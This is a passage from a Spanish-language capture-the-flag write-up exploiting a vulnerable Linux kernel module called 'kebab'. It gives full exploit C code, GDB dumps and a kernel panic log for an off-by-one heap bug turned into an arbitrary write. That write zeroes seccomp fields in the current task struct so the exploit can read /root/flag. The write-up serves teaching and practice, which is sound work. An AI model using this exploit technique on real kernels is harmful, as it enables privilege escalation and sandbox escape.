b'8pbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>>
>>> ct = ARC4(key).encrypt(pt + b'\0')
>>> ct.hex()
'b4c040f01d36470b3a626d47e7a4289089c1344de43d7e0c0c3562937a86e88280'
>>>
>>> print('\n'.join(f"0x{int.from_bytes(ct[i:i+8], 'little'):016x} 0x{int.from_bytes(ct[i+8:i+16], 'little'):016x}" for i in range(0, len(ct), 16)))
0x0b47361df040c0b4 0x9028a4e7476d623a
0x0c7e3de44d34c189 0x82e8867a9362350c
0x0000000000000080 0x0000000000000000
Ahí tenemos una clave que cumple esto.
Primitiva de escritura arbitraria
Vamos a realizar el procedimiento anterior para escribir 32 caracteres B
en la dirección de current
:
int main() {
int ret;
open_device();
memset(RC4_key, 'A', MAX_RC4_LEN);
RC4_key[0] = '8';
RC4_key[1] = 'p';
RC4_key[2] = 'b';
RC4_key[255] = '\0';
struct key_info ki;
if ((ret = ioctl_set_key(RC4_key, &ki))) {
puts("[!] Error ioctl_set_key");
close(fd);
return ret;
}
printf("pid: %d\ncur: %p\nmax_len: %ld\n", ki.pid, ki.cur, ki.max_len);
puts("First allocation => ");
getchar();
char buff[0x20];
memset(buff, 'A', sizeof(buff));
buff[0x20 - 1] = 0;
struct new_secbuff_arg new_arg = { .size = 0x20, .buffer = buff };
strncpy(new_arg.key, RC4_key, MAX_RC4_LEN);
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
// First allocation: trigger off-by-one
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Second allocation => ");
getchar();
((unsigned long*) buff)[0] = ki.cur;
for (int i = 0; i < 0x20; i++) {
printf("%02x", (unsigned char) buff[i]);
}
puts("");
RC4(buff, new_arg.buffer, sizeof(buff));
// Second allocation: set target address for arb-write
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Third allocation => ");
getchar();
memset(new_arg.buffer, 'A', sizeof(buff));
new_arg.buffer[0x20 - 1] = 0;
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
// Third allocation: dummy
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Fourth allocation => ");
getchar();
memset(buff, 'B', sizeof(buff));
buff[0x20 - 1] = 0;
RC4(buff, new_arg.buffer, sizeof(buff));
// Last allocation: arb-write
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Finish => ");
getchar();
close(fd);
return 0;
}
Con este código, podemos ir mirando GDB paso por paso:
/home/user # grep kebab /proc/kallsyms
ffffffffc01f9024 r _note_6 [kebab]
ffffffffc01f8000 t kebab_open [kebab]
ffffffffc01f8010 t ioctl_read [kebab]
ffffffffc01faa00 b RC4_key [kebab]
ffffffffc01fab40 b n_buffs [kebab]
ffffffffc01fab60 b sec_buffs [kebab]
ffffffffc01f8240 t kebab_release [kebab]
ffffffffc01f8bba t rc4_init.cold [kebab]
ffffffffc01f8be0 t RC4.cold [kebab]
ffffffffc01f91a8 r __func__.0 [kebab]
ffffffffc01f91a0 r __func__.1 [kebab]
ffffffffc01f8490 t ioctl_new [kebab]
ffffffffc01f8a90 t kebab_ioctl [kebab]
ffffffffc01fab20 b kebab_mutex [kebab]
ffffffffc01f8bf8 t kebab_ioctl.cold [kebab]
ffffffffc01faa00 b __key.2 [kebab]
ffffffffc01fa600 d kebab_device [kebab]
ffffffffc01f8c0c t kebab_exit [kebab]
ffffffffc01f91c0 r kebab_fops [kebab]
ffffffffc01fa680 d __this_module [kebab]
ffffffffc01f8250 t rc4_init [kebab]
ffffffffc01f8c0c t cleanup_module [kebab]
ffffffffc01f83f0 t RC4 [kebab]
ffffffffc01f8370 t rc4_crypt [kebab]
/home/user # ./exploit
[*] Opened device
pid: 125
cur: 0xffff89c83df8c140
max_len: 256
First allocation =>
size: 32
key: 8pbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ahora, podemos verificar que hemos sobrescrito el chunk adyacente con 0x80
al explotar el off-by-one:
gef> x/4gx 0xffffffffc0059b60
0xffffffffc0059b60: 0xffff99fd3df71910 0x0000000000000000
0xffffffffc0059b70: 0x0000000000000000 0x0000000000000000
gef> x/2gx 0xffff99fd3df71910
0xffff99fd3df71910: 0xffff99fd3d61e160 0x0000000000000020
gef> x/12gx 0xffff99fd3d61e160
0xffff99fd3d61e160: 0x0b47361df040c0b4 0x9028a4e7476d623a
0xffff99fd3d61e170: 0x0c7e3de44d34c189 0xc3e8867a9362350c
0xffff99fd3d61e180: 0xffff99fd3d61e180 0xffff99fd3d61e1a0
0xffff99fd3d61e190: 0xffffffff9e09b4e1 0x0000000000000000
0xffff99fd3d61e1a0: 0xffff99fd3d61e1c0 0xffff99fd3d61e1c0
0xffff99fd3d61e1b0: 0xffffffff9e09b48e 0x0000000000000000
Y así es. En la siguiente asignación, se debe poner la dirección en la que queremos escribir al final del exploit:
Second allocation =>
40c1f83dc889ffff414141414141414141414141414141414141414141414100
Y aquí lo tenemos, la dirección de current
(0xffff89c83df8c140
):
gef> x/12gx 0xffff89c83d627160
0xffff89c83d627160: 0x0b47361df040c0b4 0x9028a4e7476d623a
0xffff89c83d627170: 0x0c7e3de44d34c189 0xc3e8867a9362350c
0xffff89c83d627180: 0xffff89c83df8c140 0x4141414141414141
0xffff89c83d627190: 0x4141414141414141 0x0041414141414141
0xffff89c83d6271a0: 0xffff89c83d627180 0xffff89c83d6271c0
0xffff89c83d6271b0: 0xffffffffb5c9b48e 0x0000000000000000
La tercera asignación no contiene información relevante, y en la cuarta asignación estaremos escribiendo sobre current
(32 caracteres B
). Es por esto por lo que recibimos un panic:
Third allocation =>
size: 32
key: 8pbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Fourth allocation =>
[ 30.318911] general protection fault: 0000 [#1] SMP PTI
[ 30.320131] CPU: 0 PID: 125 Comm: exploit Tainted: G OE 4.19.1
[ 30.320469] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel4
[ 30.321514] RIP: 0010:cpuacct_charge+0x1c/0x60
[ 30.321918] Code: 8e 66 66 2e 0f 1f 84 00 00 00 00 00 66 90 0f 1f 44 00 00 8
[ 30.322905] RSP: 0018:ffff89c83e803da0 EFLAGS: 00000046
[ 30.323159] RAX: 0042424242424242 RBX: ffff89c83df8c1c0 RCX: 000000000000000
[ 30.323524] RDX: 000000004e8ce17e RSI: 00000000003d4daf RDI: ffff89c83df8c10
[ 30.323872] RBP: ffff89c83e803da0 R08: 000000070f1a1948 R09: 000000000000000
[ 30.324145] R10: 0000000000000000 R11: 0000000000000000 R12: ffff89c83d5b080
[ 30.324492] R13: 00000000003d4daf R14: 000000004aa4a868 R15: ffff89c83df8c10
[ 30.324949] FS: 0000000000408cb8(0000) GS:ffff89c83e800000(0000) knlGS:0000
[ 30.325284] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 30.325499] CR2: 0000000000406000 CR3: 000000003d690000 CR4: 000000000030060
[ 30.326046] Call Trace:
[ 30.326741] <IRQ>
[ 30.327218] ? show_regs.cold+0x1a/0x1f
[ 30.327382] ? __die.cold+0x60/0xa9
[ 30.327576] ? die+0x30/0x50
[ 30.327733] ? do_general_protection+0xa2/0x180
[ 30.327986] ? general_protection+0x1e/0x30
[ 30.328245] ? cpuacct_charge+0x1c/0x60
[ 30.328482] update_curr+0xee/0x200
[ 30.328921] task_tick_fair+0xe1/0x7f0
[ 30.329130] ? sched_clock+0x9/0x10
[ 30.329297] scheduler_tick+0x96/0x110
[ 30.329498] update_process_times+0x43/0x60
[ 30.329748] tick_sched_handle+0x29/0x60
[ 30.329984] tick_sched_timer+0x5a/0xd0
[ 30.330191] __hrtimer_run_queues+0x10d/0x260
[ 30.330433] ? tick_do_update_jiffies64.part.0+0x110/0x110
[ 30.330794] hrtimer_interrupt+0xfe/0x2b0
[ 30.331035] smp_apic_timer_interrupt+0x73/0x140
[ 30.331275] apic_timer_interrupt+0xf/0x20
[ 30.331765] </IRQ>
[ 30.332003] Modules linked in: kebab(OE)
Para que esto no ocurra, podemos comenzar a escribir 16 bytes por detrás, y así solo tocamos 16 bytes de la estructura current
(que los pondremos a cero para deshabilitar las reglas seccomp
).
Exploit final
Una vez corregido esto, podemos transformar el exploit de prueba al formato que requiere el reto (librería con una función exploit
que recibe como parámetro fd
, el descriptor de archivo del device). Además, podemos quitar algunas de las llamadas a puts
y printf
para que el binario resultante sea más pequeño:
void exploit(int fd) {
char buff[0x20];
char flag[256];
FILE* fp;
memset(RC4_key, 'A', MAX_RC4_LEN);
RC4_key[0] = '8';
RC4_key[1] = 'p';
RC4_key[2] = 'b';
RC4_key[255] = '\0';
struct key_info ki;
if (ioctl_set_key(fd, &ki)) {
close(fd);
return;
}
memset(buff, 'A', sizeof(buff));
buff[sizeof(buff) - 1] = 0;
struct new_secbuff_arg new_arg = { .size = sizeof(buff), .buffer = buff };
strncpy(new_arg.key, RC4_key, MAX_RC4_LEN);
// First allocation: trigger off-by-one
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
((unsigned long*) buff)[0] = ((unsigned long) ki.cur) - 16;
RC4(buff, new_arg.buffer, sizeof(buff));
// Second allocation: set target address for arb-write
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
memset(new_arg.buffer, 'A', sizeof(buff));
new_arg.buffer[sizeof(buff) - 1] = 0;
// Third allocation: dummy
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
memset(buff, 0, sizeof(buff));
RC4(buff, new_arg.buffer, sizeof(buff));
// Last allocation: arb-write
if (ioctl_new(fd, &new_arg)) {
close(fd);
return;
}
close(fd);
if ((fp = fopen("/root/flag", "r")) == NULL) {
return;
}
fgets(flag, sizeof(flag), fp);
fclose(fp);
puts(flag);
}
Como se puede ver, después de utilizar la primitiva de escritura arbitraria sobre la estructura current
, ya podemos leer el archivo /root/flag
, puesto que el campo que indica si seccomp
está activado ha sido sobrescrito a cero.
Flag
Con este exploit podemos obtener la flag:
____ __ ____ _
/ ___| __ _ / _| ___ / ___|_ _ __ _ _ __ __| |
\___ \ / _` | |_ / _ \ | _| | | |/ _` | '__/ _` |
___) | (_| | _| __/ |_| | |_| | (_| | | | (_| |
|____/ \__,_|_| \___|\____|\__,_|\__,_|_| \__,_|
----------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
----------------------------------------------------
/home/user $ /chall/run
flag{fake_flag}
El exploit completo se puede encontrar aquí: exploit.c
.